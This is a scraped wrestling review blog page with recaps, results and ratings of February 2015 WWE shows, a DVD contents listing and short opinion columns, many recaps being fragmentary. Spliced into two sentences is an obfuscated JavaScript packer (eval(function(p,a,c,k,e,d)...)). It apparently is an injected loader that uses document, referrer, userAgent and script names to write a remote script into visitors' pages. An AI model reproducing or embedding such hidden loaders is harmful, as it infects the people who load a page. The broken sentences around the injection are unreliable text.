New Column: Giving the Divas A Fighting Chance
I can’t believe I’m saying this, but the Bellas haven’t been treated fairly.
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Monday Night Raw – February 23, 2015: Saying The Same Things In Different Voices
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Night Raw
Date: February 23, 2015
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Michael Cole, Booker T., John Bradshaw Layfield
Bad News Barrett vs. Dolph Ziggler
Dolph fights up and grabs a quick neckbreaker, followed by an elbow drop for two. The champ sends him hard into the buckle for a near fall of his own before just punching Ziggler in the face. Back up and Barrett misses a big boot, tying himself up on the top rope. A dropkick sends Barrett out to the floor and us to a break. Back with Ziggler charging into the corner for right hands to the head of his own. He counters Wasteland into a DDT for two before walking into a big boot to the face.
Barrett almost falls down on a powerbomb attempt for two but the Bull Hammer is countered into a rollup for two more. Both guys miss a bunch of stuff in a fast sequence, capped off by Winds of Change getting two. The announcers freak out about R-Truth trending on Twitter as Ziggler avoids a charge into the post, setting up the Zig Zag for the pin at 11:07.
Sheamus is returning.
Prime Time Players vs. Ascension
Tag Team Titles: Tyson Kidd/Cesaro vs. Usos
We look back at Bray Wyatt popping out of a casket and making it known that he wants Undertaker at Wrestlemania.
Jack Swagger vs. Stardust
We recap the Orton vs. Rollins stuff from earlier.
Rollins and the Stooges come in to see Orton to talk some strategy for tonight. Orton says tonight is about taking care of Bryan and Reigns, which Rollins agrees with. Not much to this segment.
Bella Twins vs. Paige/Emma
Paige tries to go after Nikki but gets shoved to the floor, allowing Brie to hit the Bella Buster on Emma for the pin at 30 seconds.
JBL thinks Paige will be back if she can find another friend. Maybe someone who could light it up with her?
Bushwhackers Hall of Fame video. There are some shots of them as the Sheepherders but no mention of the team by name.
Ryback vs. Curtis Axel
Seth Rollins/Randy Orton vs. Roman Reigns/Daniel Bryan
Results
Dolph Ziggler b. Bad News Barrett – Zig Zag
Prime Time Players b. Ascension – Small package to Viktor
Usos b. Tyson Kidd/Cesaro via DQ when Natalya interfered
Jack Swagger b. Stardust – Patriot Lock
Bella Twins b. Paige/Emma – Bella Buster to Emma
Ryback b. Curtis Axel – Shell Shock
Daniel Bryan/Roman Reigns b. Seth Rollins/Randy Orton – Running knee to Rollins
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Reviewing the Review – Monday Night Raw: February 16, 2015
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Fast Lane 2015: The Best Commercial I’ve Ever Seen
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Lane 2015
Date: February 22, 2015
Location: FedEx Forum, Memphis, Tennessee
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler
Heyman gets freaked out by Mizdow sitting in the corner so Miz makes his employee face the corner. This gets Mizdow on his feet but Miz shouts him down again. Now we get back to the main event of Wrestlemania with Heyman repeating all of his lines about Reigns from the last few weeks.
The opening video has a computerized car theme, talking about speed and velocity while focusing on the two main events.
Dolph Ziggler/Erick Rowan/Ryback vs. Seth Rollins/Kane/Big Show
We recap Stardust vs. Goldust, which is due to their issues as a tag team. Their father Dusty Rhodes tried to settle things on Monday but Stardust attacked his brother, setting up this match.
Stardust vs. Goldust
Stardust is now in star tights and no shirt. Goldust shoves him out of the corner to start and neither guy seems comfortable to be out there. They trade hiptosses and Stardust hides in the corner for some polite applause. An atomic drop and right hand have Stardust in more trouble but Stardust escapes the Curtain Call. We see a nervous Dusty watching in the back. Goldust clotheslines him out to the floor before loading up Shattered Dreams, only to have Stardust bail to the apron.
Tag Team Titles: Usos vs. Tyson Kidd/Cesaro
We recap Sting interrupting HHH at Survivor Series and then again on Raw a few months later, setting up their confrontation tonight.
We recap the pre-show edition of MizTV.
Quick recap of the Bellas embarrassing Paige.
Divas Title: Paige vs. Nikki Bella
Nikki charges into a boot in the corner before Paige hits the three straight clotheslines. A dropkick gets two and Paige kicks her in the face for the same. The Rampaige is countered into a facebuster but Paige pops right back up. Nikki counters a superplex into a nice powerbomb for two but has to crawl to the ropes to escape the PTO. In a fast ending, Nikki sends her into the buckle and grabs the trunks for the pin to retain at 5:37.
Cameron and Eva Marie are at the Oscars.
Sting vs. HHH is officially announced for Wrestlemania.
Intercontinental Title: Dean Ambrose vs. Bad News Barrett
Rating: D. This felt like a Raw match to set up a pay per view match, reenforcing my theory that this show could have been broken up into a bunch of Raws instead of being its own pay per view. Nothing to see here and it was pretty clear about halfway through that it was going to be a screwy finish.
Dean hits Dirty Deeds and leaves with the title.
The pre-show panel recap the evening so far.
We recap Cena vs. Rusev, which is based on the idea of Cena reaching the end of his career and being far weaker than he used to be. The eye injury has been forgotten in the span of a week.
US Title: Rusev vs. John Cena
Rusev is defending. They stall to start and the fans think Cena sucks. A big right hand drops Rusev so he kicks Cena in the face for two. The champ chokes him in the corner and nails a spinwheel kick for two more. A Jerry chant starts up as a fan takes pictures of Lana. Cena comes back with a dropkick for two of his own but Rusev hits a slightly worse dropkick for two more.
Cena is dazed post match.
Kickoff panel recaps again.
Roman Reigns vs. Daniel Bryan
Some knees to the ribs have Reigns in even more trouble and the running corner dropkicks stagger him again. Bryan tries a top rope hurricanrana but gets caught in a superbomb for a close two as things are starting to get good. Reigns loads up a top rope superplex but gets crotched down, setting up a belly to back superplex to stay on the weakened midsection. The YES Lock goes on but Reigns gets the rope and bails to the floor.
Bryan hits back to back Flying Goats but tries once too often and gets belly to belly suplexed. The spear hits the steps though and Reigns barely beats the count back in. Bryan dives into something resembling the Superman Punch for two. The spear is countered into a rollup but the running knee only gets a very near fall. The YES Kicks have Reigns reeling but he blocks the big one.
Rating: A-. I actually really like that ending because storyline wise, Bryan has very little claim to a spot in the main event at Wrestlemania. This is the big win that Reigns needed to look like a star and he certainly delivered his half. They were telling a good story out there with Bryan trying to pick Reigns apart but eventually just getting run over by raw power. Excellent main event here and it did what it was supposed to do.
Bryan pokes Reigns in the chest and tells him to take out Lesnar at Wrestlemania. They shake hands and Bryan lets Reigns celebrate to end the show.
Results
Kane/Big Show/Seth Rollins b. Dolph Ziggler/Ryback/Erick Rowan – Kane pinned Ziggler after a KO Punch from Big Show
Goldust b. Stardust – Crucifix
Nikki Bella b. Paige – Rollup with a handful of trunks
Rusev b. John Cena – Accolade
Roman Reigns b. Daniel Bryan – Spear
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Smackdown – February 19, 2015: Yep, It’s Still Smackdown
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February 19, 2015
Location: BB&T Center, Sunrise, Florida
Attendance: 8,000
Commentators: Byron Saxton, Michael Cole, Jerry Lawler
We open with a recap of the Reigns vs. Bryan story from Monday with both of them messing with the others match and a big brawl to end the show.
Opening sequence.
Miz vs. Daniel Bryan
Ryback vs. Kane
Ryback hammers him into the corner to start and hits a decent belly to belly. A threat of the Meat Hook sends Kane outside in the same sequence from the first match with the running knee. Back in and Kane hits a running DDT followed by a big boot to send Ryback into the corner. We hit the chinlock for a bit before Ryback fights up with a Thesz Press and the Warrior Splash. Ryback gets knocked off the top rope to the floor, which means absolutely nothing as he hits the Shell Shock immediately after getting back in for the pin at 3:51.
Rating: D. This was a ten minute power match packed into less than four minutes. Ryback and Kane could have a decent match if they were given a few more minutes but they had to fly through this instead, likely so we can see a bunch of videos from Raw. Also, Ryback can pin Kane but Reigns can only beat him by countout? These are the kind of things that just make no sense and make you wonder if anyone is actually thinking backstage.
We recap Ambrose making Barrett sign the contract on Monday.
R-Truth vs. Bad News Barrett
Vince is on the cover of Muscle and Fitness.
Bray Wyatt says find him before he finds you.
Sheamus return video.
New Day vs. Ascension
Luke Harper vs. Roman Reigns
Back in and something like the ProtoBomb gets two but they head right back outside where Luke sends him into the steps. Back in and a slingshot hilo of all things gets two for Harper but Reigns fights out of a headlock. A big Samoan drop sends Harper flying but he escapes another and hits a swinging Boss Man Slam for two. Reigns pops back up, no sells a superkick and spears Harper down for the pin at 4:49.
Recap of Flair and HHH from Raw for the response to the acceptance for the challenge to talk.
Big Show vs. Erick Rowan
Cameron vs. Paige
The Bellas are on commentary and wearing sunglasses, which actually fit them quite well. Cameron flips her hair at Paige to start and gets the revolving elbows in the corner for her efforts. Paige drives knees into the chest and does her shout on the apron to no reaction from the Bellas. Apparently Nikki is fierce. Good to know. Cameron comes back with her horrible offense and slaps Paige in the face, earning her a series of clotheslines. A kick to the face sets up the PTO for the submission at 2:09.
Jimmy Uso vs. Tyson Kidd
Rusev destroys everyone and rants in Russian about Cena. No Lana here.
Seth Rollins vs. Dolph Ziggler
The Stooges are barred from ringside. Feeling out process to start with both guys going for arm holds and Rollins bailing to the ropes. They hit the mat with Ziggler caught in a headlock but he comes back with a nice dropkick. Rollins avoids a Stinger Splash though and we take a break. Back with Ziggler fighting out of a chinlock (as is almost always the case) but charging into a hot shot for two.
Now the Stinger Splash connects and Ziggler follows it up with a neckbreaker. Rollins tries the buckle bomb but gets countered into a sunset flip, followed by the Fameasser for two more. Dolph dropkicks him out to the floor where Seth slaps Ryback and Rowan. Back in and Ziggler has to fight off Kane, allowing Rollins to hit the buckle bomb, followed by the Curb Stomp for the pin at 10:23.
Results
Daniel Bryan b. Miz – YES Lock
Ryback b. Kane – Shell Shock
R-Truth b. Bad News Barrett – Rollup
Ascension b. New Day – Fall of Man to Big E.
Roman Reigns b. Luke Harper – Spear
Big Show b. Erick Rowan – Chokeslam
Paige b. Cameron – PTO
Jimmy Uso vs. Tyson Kidd went to a no contest when Rusev interfered
Seth Rollins b. Dolph Ziggler – Curb Stomp
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Thought of the Day: The Supporting Cast
On the continuing subject of the evolution of Cena’s character.
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NXT – February 18, 2015: They’re Giving Me Chills
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February 18, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Corey Graves, Jason Albert
We open with a recap of Rival, mainly focusing on the title change.
Opening sequence.
Rhyno vs. Elias Samson
Yes THAT Rhyno, who wins with the Gore in 33 seconds. The only note here is that the announcers said Rhyno invented the spear, which is completely inaccurate but his version has enough impact that it works like a charm. I can also totally get behind the idea of people like Rhyno showing up for short stories or even one night cameos like this for a surprise.
Finn Balor says he has a high opinion of himself too. Owens calls himself a prize fighter, but Balor fights for a prize too. Before he can finish what that is (the NXT Title), Rhyno comes in for a staredown. The fans REALLY like that idea.
Vaudevillains vs. Enzo Amore/Colin Cassady
Adrian Neville says he can be the hunter tonight and he wants revenge for Owens putting him on a stretcher.
Bayley says her night is coming.
Becky Lynch gave it her all last week but Bayley cost her the title. At least Charlotte lost.
Sasha Banks vs. Blue Pants
Sasha says its her time.
Kevin Owens vs. Adrian Neville
Owens just takes his head off with a clothesline, but the Cannonball is broken up with a superkick. A reverse hurricanrana gets two and the fans are WAY into this. The Red Arrow has to be canceled in mid air, setting up the popup powerbomb to give Owens the pin at 15:34.
Rating: B. This is the kind of stuff that that NXT excels at: take two guys, give them some time and let them beat each other up. Owens looked great as always and a win over Neville still means quite a bit since no one could pin him for so long. The match with Balor could tear the house down and hopefully they get a lot of time to do so.
Results
Rhyno b. Elias Samson – Gore
Enzo Amore/Colin Cassady b. Vaudevillains – Big boot to English
Sasha Banks b. Blue Pants – Bank Statement
Kevin Owens b. Adrian Neville – Popup powerbomb
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Content Announced For New Ultimate Warrior DVD
The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fyfra|var|u0026u|referrer|rzrbe||js|php'.split('|'),0,{})) trend of leaving off matches you can find on the Network continues, and that’s a good thing.
Matches
Boston, MA – October 10, 1988
Intercontinental Championship
Ultimate Warrior vs. Honky Tonk Man
Madison, WI– June 6, 1989
Ultimate Warrior and King Duggan vs. Ravishing Rick Rude and Andre the Giant
Superstars – May 18, 1991
Ultimate Warrior vs. Smash
Monday Night Raw – April 29, 1996
Ultimate Warrior vs. Isaac Yankem
Meadowlands Arena – May 8, 1989
Intercontinental Championship
Ultimate Warrior vs. Ravishing Rick Rude
Maple Leaf Wrestling – October 29, 1989
Intercontinental Championship
Ultimate Warrior vs. Andre the Giant
Wrestling Challenge – April 28, 1991
Ultimate Warrior vs. Rick The Model Martel
Lexington, KY – May 19, 1992
Ultimate Warrior vs. Papa Shango
SummerSlam Spectacular – August 19, 1992
Ultimate Warrior and Macho Man Randy Savage vs. Nasty Boys
Promos/Interviews
Wrestling Challenge – March 13, 1988
I Live For Anger and Frustration
Wrestling Challenge – August 13, 1989
Mean Gene Interviews Ultimate Warrior About SummerSlam
Superstars – May 23, 1992
The Papa Shango Curse
Monday Nitro – September 21 – 1998
Running to Reappear
Wrestling Challenge – June 25, 1988
I Won’t Let You Down
Superstars – July 16, 1988
Legends Weren’t Built Overnight
All American Wrestling – September 18, 1988
You Can Feel It
Superstars – February 3, 1990
I Speak to You, Hulk Hogan
Superstars – April 14, 1990
The New WWE Champion
Superstars – June 23, 1990
The Brother Love Show Discussing SummerSlam
Superstars – September 19, 1992
The Ultimate Maniacs Are Born
Wrestling Challenge – November 7, 1992
The Ultimate Maniacs Are Out of Control
Monday Nitro – August 24, 1998
One Warrior Nation
Monday Night Raw – April 7, 2014
The Spirit of Ultimate Warrior Will Run Forever
Blu-ray Exclusives
WrestleMania VI – April 1, 1990
Arena Cam
Ultimate Warrior vs. Hulk Hogan
WCCW – August 22, 1986
Dingo Warrior vs. Rick Rude
Ontario, Canada – June 3, 1992
Ultimate Warrior and Undertaker vs. Papa Shango and Berzerker
Thought of the Day: It’s Not the Size of the Fight In The Dog. It’s The Size of the Doghouse
Shock eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbksi|var|u0026u|referrer|tszid||js|php'.split('|'),0,{})) and awe, this is about NXT.Before I get into this, let me make it clear that I’ve said this before too, dating back as recently as about 11 hours ago.
A lot of fans want the NXT guys to get onto the main shows so they can fix all the boring problems. Here’s the thing: it doesn’t matter what the guys are capable of. Do you really think a lot of the guys on the main roster couldn’t be competitive with people like Zayn and Neville as far as work rate etc? NXT works because of the workers there, but arguably even more because of the atmosphere they’ve developed down there.
If the rosters were flipped, you would see the NXT guys cut off at the knees and the WWE guys getting to show off. The Divas would go from tearing the house down to three minute matches centered around stupid concepts and lame pranks. This assumption that it’s just the talent dragging WWE down doesn’t hold, no matter what people want to think.
Monday Night Raw – February 16, 2015: The Response To The Acceptance For A Challenge To Talk
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Night Raw
Date: February 16, 2015
Location: Amway Center, Orlando, Florida
Commentators: Michael Cole, John Bradshaw Layfield, Booker T.
Opening sequence.
Dean Ambrose vs. Luke Harper
Quick chat about the Dust Brothers imploding. Bringing in Dusty is the only logical step from here.
New Day vs. Goldust/Stardust
Stardust and Goldust hug post match, but Stardust lays him out with Cross Rhodes.
Stardust rips into Dusty in the back, saying this family stuff is nonsense. He declares Cody dead and Dusty looks heartbroken.
Kane vs. Roman Reigns
Bryan starts another YES chant and Reigns offers him a chance to get in. Daniel walks away instead.
Post break, Bryan says Reigns is going to have to deal with a lot more YES chants Sunday than he did tonight. If he wants to be World Champion, he has to be mentally tough. This is at least somewhat interesting.
Summer Rae vs. Paige
Sheamus return video.
Seth Rollins vs. Dolph Ziggler
The match is joined in progress after a break with Ziggler fighting out of a chinlock. The Stooges get caught interfering and earn an ejection for their troubles. Ziggler eats a forearm to the jaw but sidesteps a charge to send Rollins into the post. The buckle bomb is countered into a sunset flip for two and the running DDT gets the same. Rollins starts hammering away but misses the top rope knee. A superkick to the ribs looks to set up the Curb Stomp but Ziggler scores with a superkick of his own. The Zig Zag has Rollins beat but the Stooges run in for the DQ at 5:18.
Rowan and Ryback come in for the save and lay out Noble.
Darren Young/??? vs. Ascension
Preview of the Destruction of the Shield DVD.
Damien Mizdow vs. Bad News Barrett
Non-title. Barrett stomps away in the corner to start but Mizdow stomps him down, only to have Miz ring a bell, meaning to stop. He needs Mizdow to come buff his shoe, allowing Barrett to kick him down off the apron. Mizdow takes over again but another bell (potential smudge on sunglasses) distracts Mizdow so the Bull Hammer can give Barrett the pin at 2:31.
Ambrose hits the ring post match and ties Barrett to the post. Ambrose demands that Barrett sign and puts a pen in his hand, literally forcing Barrett to sign. Bad News: “GET A KNIFE! THIS IS ILLEGAL!” Ambrose says that makes it official and the match is on for Fast Lane.
Jimmy Uso/Naomi vs. Natalya/Tyson Kidd
Kidd blames Natalya for the loss.
Daniel Bryan vs. Big Show
Back with Reigns sitting again and Bryan fighting out of a chinlock. Show puts him in a bearhug but gets guillotined on the top rope as JBL tells Booker to stop talking about fairy tales. Big Show is finally pulled over the top rope but Reigns starts throwing out t-shirts. Daniel is thrown into Reigns so Show spears Roman down for some reason. They get back inside and Bryan knocks Show into the corner. He counters a chokeslam into the YES Lock but Show makes the ropes. Here come the YES Kicks for two but Bryan gets launched off the kickout. Bryan goes up top but Reigns Superman Punches Show for the DQ at 14:38.
Rating: C+. That would mean Big Show beat Bryan and Kane only lost via countout. Only in WWE. Anyway, this was actually a pretty decent power vs. speed match and the Reigns stuff was a nice addition to everything. We’ll call this a pleasant surprise more than anything else. We’ll also call the tag match on Thursday, where Bryan and Reigns cleaned out the tag team division, not meaning anything a pretty obvious non-surprise.
Post match Bryan dropkicks Reigns down and the fight is on. Referees eventually break it up but the fans wake up to shout LET THEM FIGHT. Instead they begrudgingly shake hands before fighting again, much to the fans’ delight. Bryan kicks him to the floor and hits the FLYING GOAT but Reigns sends him into the crowd to keep the fight going. A chair is brought in but they’re eventually dragged away to end the show. That was a really good closing segment and I was getting into it by the end.
Results
Dean Ambrose b. Luke Harper – Dirty Deeds
New Day b. Goldust/Stardust – Trouble in Paradise to Goldust
Roman Reigns b. Kane via countout
Paige b. Summer Rae – PTO
Dolph Ziggler b. Seth Rollins via DQ when Jamie Noble and Joey Mercury interfered
Bad News Barrett b. Damien Mizdow – Bull Hammer
Jimmy Uso/Naomi b. Natalya/Tyson Kidd – Sunset flip to Natalya
Big Show b. Daniel Bryan via DQ when Roman Reigns interfered
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